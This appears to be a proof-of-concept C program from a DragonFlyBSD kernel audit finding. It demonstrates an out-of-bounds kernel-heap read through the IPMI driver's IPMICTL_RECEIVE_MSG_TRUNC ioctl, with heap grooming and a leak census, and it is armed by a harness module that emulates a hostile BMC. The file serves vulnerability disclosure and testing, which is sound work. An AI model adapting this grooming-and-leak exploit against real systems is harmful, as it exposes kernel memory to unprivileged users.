⬢ DragonFlyBSD Kernel Audit
DF-4978 / leak.c
← back to finding ↓ download raw
/*
 * DF-4777 PoC (unprivileged, operator-group user).
 *
 * Trigger: with the transport end-state produced by a hostile BMC
 * (ir_replylen > ir_replybuflen == IPMI_MAX_RX == 1024, emulated on
 * this guest by the bumpko(4) harness module), IPMICTL_RECEIVE_MSG_TRUNC
 * makes ipmi_ioctl() copy out ir_replylen+1 bytes from the fixed
 * 1024-byte ir_reply heap buffer (ipmi.c:448-468): a kernel-heap OOB
 * read into userspace.
 *
 * Flow per run:
 *   fd1: IPMICTL_SEND_COMMAND (victim, data_len 1)      -> completes
 *   fd2: 20x IPMICTL_SEND_COMMAND (markers, data_len 900, pattern) -> complete
 *         (separate fd: SEND purges only the sending fd's completed queue)
 *   root: sysctl hw.bumpreplylen=5000   (arm)
 *   fd1: IPMICTL_RECEIVE_MSG_TRUNC (65535-byte buffer)
 *   report returned data_len and what lies beyond offset 1024.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <sys/sysctl.h>
#include <sys/ipmi.h>

#define	ARMED_LEN	16000		/* hostile-BMC reply data bytes */
#define	GROOM_N		30		/* patterned chunks allocated */
#define	GROOM_FREE	20		/* drained (freed) -- oldest first */
#define	MARKLEN		900		/* same kmalloc size class as victim */
#define	BUFSZ		65535

/*
 * receive one completed request from fd (dequeues + frees its chunk,
 * leaving our marker pattern resident in the freed 2048-class chunk)
 */
static void
drain_one(int fd)
{
	struct ipmi_recv recv;
	struct ipmi_addr kaddr;
	static unsigned char scratch[64 * 1024];

	memset(&recv, 0, sizeof(recv));
	memset(&kaddr, 0, sizeof(kaddr));
	recv.addr = (unsigned char *)&kaddr;
	recv.addr_len = sizeof(kaddr);
	recv.msg.data_len = sizeof(scratch);
	recv.msg.data = scratch;
	if (ioctl(fd, IPMICTL_RECEIVE_MSG_TRUNC, &recv) != 0)
		return;
}

static void
hex(const char *tag, const unsigned char *b, int off, int n)
{
	int i;

	printf("%s [0x%04x]:", tag, off);
	for (i = 0; i < n && off + i < BUFSZ; i++) {
		if ((i % 16) == 0)
			printf("\n  %04x: ", off + i);
		printf("%02x ", b[off + i]);
	}
	printf("\n");
}

static int
send_req(int fd, int msgid, int dlen, const unsigned char *data)
{
	struct ipmi_req req;
	struct ipmi_system_interface_addr saddr;

	memset(&saddr, 0, sizeof(saddr));
	saddr.addr_type = IPMI_SYSTEM_INTERFACE_ADDR_TYPE;
	saddr.channel = IPMI_BMC_CHANNEL;

	memset(&req, 0, sizeof(req));
	req.addr = (unsigned char *)&saddr;
	req.addr_len = sizeof(saddr);
	req.msgid = msgid;
	req.msg.netfn = IPMI_APP_REQUEST;
	req.msg.cmd = IPMI_GET_DEVICE_ID;
	req.msg.data_len = dlen;
	req.msg.data = (unsigned char *)data;
	return (ioctl(fd, IPMICTL_SEND_COMMAND, &req));
}

int
main(void)
{
	struct ipmi_recv recv;
	struct ipmi_addr kaddr;
	unsigned char marker[MARKLEN];
	unsigned char *buf;
	int fd1, fd2, i, rv, nrecv, nz_before, nz_after, first_nz, nmark;
	char *p;

	buf = malloc(BUFSZ);
	if (buf == NULL)
		exit(1);

	/* marker payload: recognizable ASCII repeated */
	for (i = 0; i < MARKLEN; i += 16)
		snprintf((char *)marker + i, 17, "DF4777MARK-%04d--", i);
	marker[MARKLEN - 1] = '\0';

	fd1 = open("/dev/ipmi0", O_RDWR);
	fd2 = open("/dev/ipmi0", O_RDWR);
	if (fd1 < 0 || fd2 < 0) {
		fprintf(stderr, "open /dev/ipmi0: %s\n", strerror(errno));
		exit(1);
	}
	printf("fds: victim=%d markers=%d pid=%d uid=%d\n", fd1, fd2,
	    getpid(), getuid());

	/*
	 * 0. groom: allocate GROOM_N pattern-filled chunks, then free only
	 *    the oldest GROOM_FREE (completed queue is FIFO -> drains
	 *    free G1..G20; G21..G30 stay queued and LIVE). The victim then
	 *    reuses a freed chunk BELOW the live patterned ones, so the
	 *    upward over-read walks into G21..G30's pattern bytes.
	 */
	for (i = 0; i < GROOM_N; i++) {
		if (send_req(fd2, 1000 + i, MARKLEN, marker) != 0) {
			fprintf(stderr, "groom SEND %d: %s\n", i,
			    strerror(errno));
			exit(1);
		}
	}
	sleep(3);
	for (i = 0; i < GROOM_FREE; i++)
		drain_one(fd2);
	printf("groom: %d patterned chunks allocated, %d freed"
	    " (rest held live)\n", GROOM_N, GROOM_FREE);

	/* 1. victim request first: will be head of fd1 completed queue
	 *    (same data_len as groom -> identical kmalloc size class) */
	if (send_req(fd1, 1, MARKLEN, marker) != 0) {
		fprintf(stderr, "victim SEND: %s\n", strerror(errno));
		exit(1);
	}
	/* 2. no post-victim spray: the live groom chunks above the victim
	 *    are the leak targets; extra allocations could reuse them. */
	sleep(2);

	printf("marker+victim sends done; waiting for hw.bumpreplylen=%d ...\n",
	    ARMED_LEN);
	fflush(stdout);
	{
		int arm = 0;
		size_t alen = sizeof(arm);
		int tries;

		for (tries = 0; tries < 600; tries++) {
			if (sysctlbyname("hw.bumpreplylen", &arm, &alen,
			    NULL, 0) == 0 && arm > 0)
				break;
			usleep(200000);
		}
		if (arm <= 0) {
			fprintf(stderr, "never armed\n");
			exit(1);
		}
		printf("armed: %d\n", arm);
	}

	/* 3. receive the victim with a huge buffer */
	memset(buf, 0xCC, BUFSZ);
	memset(&recv, 0, sizeof(recv));
	memset(&kaddr, 0, sizeof(kaddr));
	recv.addr = (unsigned char *)&kaddr;
	recv.addr_len = sizeof(kaddr);
	recv.msg.data_len = BUFSZ;
	recv.msg.data = buf;
	rv = ioctl(fd1, IPMICTL_RECEIVE_MSG_TRUNC, &recv);
	if (rv != 0) {
		fprintf(stderr, "RECEIVE: %s\n", strerror(errno));
		exit(1);
	}
	nrecv = recv.msg.data_len;
	printf("RECEIVE ok: msg.data_len = %d (compcode + %d reply bytes)\n",
	    nrecv, nrecv - 1);

	nz_before = nz_after = 0;
	first_nz = -1;
	for (i = 0; i < nrecv - 1 && i < BUFSZ; i++) {
		if (buf[i] == 0)
			continue;
		if (i < 1024)
			nz_before++;
		else {
			nz_after++;
			if (first_nz < 0)
				first_nz = i;
		}
	}
	printf("nonzero in [0,1024):     %d\n", nz_before);
	printf("nonzero in [1024,%d):  %d  (first at 0x%04x)\n",
	    nrecv - 1, nz_after, first_nz);

	/* per-1KB block census across the whole over-read */
	printf("block census (offset:nonzero/1024):\n");
	for (i = 0; i < nrecv - 1 && i < BUFSZ; i += 1024) {
		int j, c = 0, e = i + 1024;

		if (e > nrecv - 1)
			e = nrecv - 1;
		for (j = i; j < e; j++)
			if (buf[j])
				c++;
		printf("  %5d: %4d%s\n", i, c,
		    i >= 1024 && c ? "   <-- beyond ir_reply[1024]" : "");
	}

	/* count recognizable marker fragments leaked from neighbor chunks */
	nmark = 0;
	p = (char *)buf;
	for (i = 0; i + 10 < nrecv && i + 10 < BUFSZ; i++)
		if (memcmp(p + i, "DF4777MARK-", 11) == 0) {
			nmark++;
			i += 10;
		}
	printf("marker fragments beyond the victim BMC data: %d\n", nmark);

	hex("reply head (BMC data)", buf, 0, 48);
	if (first_nz > 0)
		hex("first nonzero beyond 1024", buf, first_nz & ~0xf, 96);

	close(fd1);
	close(fd2);
	return (0);
}